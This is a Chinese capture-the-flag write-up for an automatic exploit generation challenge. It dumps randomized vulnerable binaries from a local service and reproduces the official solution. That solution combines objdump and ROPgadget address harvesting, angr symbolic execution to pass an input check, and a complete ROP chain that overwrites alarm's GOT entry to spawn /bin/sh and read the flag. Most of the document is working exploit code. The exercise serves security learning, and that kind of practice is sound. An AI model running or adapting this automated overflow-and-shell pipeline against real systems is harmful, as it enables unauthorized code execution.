在本地搭了环境
相关的docker啥的官方给了
在github
搜一下就可
nc一下
先用相应脚本把程序拿出来
import re
import itertools
import string
import codecs
from hashlib import sha256
from pwn import remote, context
import os
import itertools
import datetime
context.log_level = 'debug'
def exp():
sh = remote('127.0.0.1' , "9997")
sh.recvuntil("data info------------------\n")
d = sh.recvuntil("Hi")
d = d[:-3]
print d
with open('out.data', 'wb') as f:
f.write(d)
os.system('base64 -d out.data > 1.elf')
sh.interactive()
while(1):
exp()
多拿几个
看一下保护
没有canary、pie、relro
拿到的文件丢到ida看一下
他让我们运行这个程序,后面带上输入
输入的作用就是作为参数,进去过约束
然后直接就是一个栈溢出。
程序简直不要太简单
我们多来几个文件试试看他在什么地方随机
四个程序
这就显而易见了嘛
约束当然是随机的
栈溢出的长度也是随机的
payload最大长度也是随机的,不过这个应该影响不大。
额外提一句时间是3s
我们一起来瞅瞅官方给的wp咋写的。
get_addr.py
import commands
#封装了一个执行命令行命令的函数
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
#在字符串中间找一个字符串
def get_mid_str(data, b_str, e_str, s_pos = 0):
b_pos = data.find(b_str, s_pos)
if b_pos == -1:
return ""
b_pos += len(b_str)
e_pos = data.find(e_str, b_pos)
data = data[b_pos:e_pos]
#print s_pos, b_pos, e_pos
#print data
while b_str in data:
data = data[data.find(b_str)+len(b_str):]
#print data
return data
#一个写文件操作
def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()
#对那个dump下来的二进制文件进行处理
#把解题要用的相关信息拿出来丢在angr_deal.conf文件中
def do_angr_conf():
tmp_file_asm = do_command("objdump -d tmp_file.bin")
b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n")
main_addr = get_mid_str(tmp_file_asm, " mov $0x", ",%rdi\n", b_pos - 0x80)
#print main_addr
b_pos = tmp_file_asm.find("%s:"%main_addr)
b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos)
deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos)
print "start_addr =>", deal_func_addr
b_pos = tmp_file_asm.find("%s:"%deal_func_addr)
s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100)
success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80)
print "success =>", success
f_b_pos = tmp_file_asm.find("leave", b_pos)
fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80)
print "fail =>", fail
data_write = ""
data_write += deal_func_addr + "\n"
data_write += success + "\n"
data_write += fail + "\n"
write_file("angr_deal.conf", data_write)
#进行一些pwn用的设置
#具体来说就是先ROPgadget直接搜要用的gadget
#然后把rop链写在do_pwn_next.conf文件里面一会用
def do_pwn_conf():
rop_asm = do_command("ROPgadget --binary tmp_file.bin")
rop_map = {}
rop_map["p_rdi_ret"] = "pop rdi ; ret"
rop_map["p_rsi_r15_ret"] = "pop rsi ; pop r15 ; ret"
rop_map["ret_addr"] = "ret"
rop_map["p_rbp_ret"] = "pop rbp ; ret"
rop_map["set_args_addr"] = "pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret"
rop_map_val = {}
mov_edx_rbp_p_rbp_ret = 0
for line in rop_asm.split("\n"):
items = line.split(" : ")
if len(items) != 2:
continue
for key in rop_map.keys():
if key not in rop_map_val.keys():
if items[1] == rop_map[key]:
rop_map_val[key] = int(items[0], 16)
if items[1].startswith("pop rbp ; mov byte ptr [rip + ") and items[1].endswith("], 1 ; ret"):
mov_edx_rbp_p_rbp_ret = int(items[0], 16) - 10
got_data = do_command("objdump -R tmp_file.bin")
alarm_got = 0
for line in got_data.split("\n"):
items = line.split(" ")
if len(items) < 3:
continue
got_name = items[-1].split("@")[0]
if got_name == "alarm":
alarm_got = int(items[0], 16)
tmp_file_asm = do_command("objdump -d tmp_file.bin")
b_pos = tmp_file_asm.find(" <read@plt>:\n")
read_plt = get_mid_str(tmp_file_asm, "\n", " <read@plt>:\n", b_pos - 0x18)
read_plt = int(read_plt, 16)
b_pos = tmp_file_asm.find(" <atoi@plt>:\n")
atoi_plt = get_mid_str(tmp_file_asm, "\n", " <atoi@plt>:\n", b_pos - 0x18)
atoi_plt = int(atoi_plt, 16)
b_pos = tmp_file_asm.find(" <read@plt>\n")
#print tmp_file_asm[b_pos-0x100:b_pos+0x10]
rbp_val = get_mid_str(tmp_file_asm, " lea ", "(%rbp),%rax", b_pos - 0x100)
#print rbp_val
rbp_val = int(rbp_val.strip(), 16)
print "rbp:", hex(rbp_val)
data_write = ""
data_write += "0x%x\n"%rop_map_val["p_rdi_ret"]
data_write += "0x%x\n"%rop_map_val["p_rsi_r15_ret"]
data_write += "0x%x\n"%rop_map_val["ret_addr"]
data_write += "0x%x\n"%rop_map_val["p_rbp_ret"]
data_write += "0x%x\n"%mov_edx_rbp_p_rbp_ret
data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1)
data_write += "0x%x\n"%(rop_map_val["set_args_addr"] - 1 - 0x1a)
data_write += "0x%x\n"%alarm_got
data_write += "0x%x\n"%read_plt
data_write += "0x%x\n"%atoi_plt
data_write += "%s\n"%hex(rbp_val).replace("L", "").replace("l", "")
write_file("do_pwn_next.conf", data_write)
def do_work():
do_angr_conf()
do_pwn_conf()
do_work()
angr_deal.py
利用angr过约束就在这个文件里面
import angr
from angr import *
#from simuvex.procedures.stubs.UserHook import UserHook
binary_path = "./tmp_file.bin"
stack_addr = 0
def get_mem(state, addr, size):
mem = state.memory.load(addr, size)
#print mem
return state.se.eval(mem)
def gen_cond(state, index):
"""Returns a symbolic BitVector and contrains it to printable chars for a given state."""
bitvec = state.se.BVS('c%d'%index, 8, explicit_name=True)
return bitvec, state.se.And(bitvec >= 0x0, bitvec <= 0xff)
def read_file(filename, mode = "rb"):
file_r = open(filename, mode)
data = file_r.read()
file_r.close()
return data
def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()
def run_angr():
#proj = angr.Project(binary_path, load_options={'auto_load_libs': False})
proj = angr.Project(binary_path)#, load_options={'auto_load_libs': False})
data = read_file("angr_deal.conf")
if len(data) > 0:
items = data.split('\n')
start_addr = int(items[0], 16)
success = (int(items[1], 16), )
fail = (int(items[2], 16), )
print (start_addr)
print (success)
print (fail)
print hex(start_addr)
print hex(success[0])
print hex(fail[0])
else:
start_addr = 0x400B57
success = (0x400C45, )
fail = (0x400C6C, )
#"""
initial_state = proj.factory.blank_state(addr = start_addr)
r_edi = initial_state.se.BVS('edi', 32)
initial_state.regs.edi = r_edi
pg = proj.factory.simgr(initial_state, immutable=False)
pg.explore(find=success, avoid=fail)
found_state = pg.found[0]
result = found_state.se.eval(r_edi)
print hex(result)
write_file("passcode.conf", "%d"%result)
exit(0)
run_angr()
aeg_pwn.py
from zio import *
#用zio做了交互
is_local = True
is_local = False
binary_path = "./no"
libc_file_path = ""
#libc_file_path = "./libc.so.6"
ip = "127.0.0.1"
port = 2333
if is_local:
target = binary_path
else:
target = (ip, port)
#是本地连接还是远程链接
def d2v_x64(data):
return l64(data[:8].ljust(8, '\x00'))
def d2v_x32(data):
return l32(data[:4].ljust(4, '\x00'))
#32位或者64位的接受吧
def rd_wr_str(io, info, buff):
io.read_until(info)
io.write(buff)
def rd_wr_int(io, info, val):
rd_wr_str(io, info, str(val) + "\n")
#两个转字符串函数
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m,env={"LD_PRELOAD":libc_file_path})
return io
#就是拿到io
def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()
import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
#执行命令
def read_file(filename, mode = "rb"):
file_r = open(filename, mode)
data = file_r.read()
file_r.close()
return data
#读文件
set_args_addr = 0x400d2a
call_func_addr = 0x400d10
def gen_rop(func_got, arg1, arg2 = 0, arg3 = 0, ret_addr = None):
global set_args_addr, call_func_addr
#set_args_addr
payload = ""
payload += l64(set_args_addr)
payload += l64(0) #pop rbx = 0
payload += l64(1) #pop rbp
payload += l64(func_got) #pop r12
payload += l64(arg3) #pop r13
payload += l64(arg2) #pop r14
payload += l64(arg1) #pop r15
if ret_addr != None:
payload += l64(ret_addr)
else:
payload += l64(call_func_addr)
return payload
#编写payload
def do_pwn_next(io):
global set_args_addr, call_func_addr
p_rdi_ret = 0x0000000000400d33
p_rsi_r15_ret = 0x0000000000400d31
p_rbp_ret = 0x400B55
ret_addr = 0x0000000000400b31
mov_edx_rbp_p_rbp_ret = 0x4008E8 #adc [rbp+48h], edx
read_plt = 0x00000000004007e0
alarm_got = 0x0000000000602038
atoi_plt = 0x400800
data = read_file("do_pwn_next.conf")
val_list = []
#写了个文件,又把相关数据读了出来
#感觉有点麻烦
for line in data.strip().split("\n"):
val_list.append(int(line, 16))
print hex(int(line, 16))
p_rdi_ret = val_list[0]
p_rsi_r15_ret = val_list[1]
ret_addr = val_list[2]
p_rbp_ret = val_list[3]
mov_edx_rbp_p_rbp_ret = val_list[4]
set_args_addr = val_list[5]
call_func_addr = val_list[6]
alarm_got = val_list[7]
read_plt = val_list[8]
atoi_plt = val_list[9]
rbp_add_val = val_list[10]
#对数据进行一些处理之后再写出来
bss_addr = 0x00601000 + 0xa00
pre_payload = ""
pre_payload += 'a'*(0-rbp_add_val)
pre_payload += 'b'*8
#重点是在preload中填充的长度也要通过angr来获得
payload = ""
payload += l64(p_rdi_ret) + l64(0)
payload += l64(p_rsi_r15_ret) + l64(bss_addr)*2
payload += l64(read_plt)
payload += gen_rop(bss_addr, 0, 0, 0x5)
payload += gen_rop(bss_addr, 0, 0, 0x5)[:-8]
payload += l64(p_rbp_ret) + l64(alarm_got - 0x48)
payload += l64(mov_edx_rbp_p_rbp_ret) * 2
#set rax = 0x3b
payload += l64(p_rdi_ret) + l64(bss_addr + 0x20 + 0*2)
payload += l64(atoi_plt)
#execve("/bin/sh", 0, 0)
payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)
#payload += gen_rop(alarm_got, bss_addr + 0x8, 0, 0)[:-8]
payload += "\n"
#io.gdb_hint()
#print repr(payload)
print hex(len(payload))
payload = pre_payload + payload
print payload[:-1].find("\n")
#payload还分成了两个部分,但是总起来讲是劫持了alarm的got表
#io.gdb_hint()
io.write(payload)
#raw_input(":")
import time
time.sleep(0.5)
payload = ""
payload += l64(ret_addr)
payload += "/bin/sh\x00".ljust(0x18, '\x00')
payload += "59\x00"
payload += "\n"
io.write(payload)
time.sleep(0.5)
io.writeline("id")
io.writeline("ls -al")
io.writeline("cat flag 2>&1")
io.writeline("exit")
io.interact()
def pwn(io):
io.read_until("------------------data info------------------\n")
data = io.read_until("\n").strip()
data = data.decode("base64")
print(len(data))
write_file("tmp_file.bin", data)
#print repr(data.decode("base64")[:4])
#文件都卸载tmp_file.bin里面
io.read_until("code:")
do_command("chmod +x tmp_file.bin")
do_command("python get_addr.py")
do_command("python angr_deal.py")
#执行三个命令
data = read_file("passcode.conf")
#do_command("rm tmp_file.bin luckynum.conf")
#从文件里面读数据,这里的数据应该是调用angr过了约束得到的
data = data.strip()
io.writeline(data)
#对数据进行处理然后写回去
do_pwn_next(io)
#调用这个函数进行后面的利用
io.interact()
io = get_io(target)
#先拿到io
pwn(io)
exit(0)
整体来说题目难度不大
wp感觉稍微写的有点繁琐
但是里面对rop链的编写很值得学习
更多推荐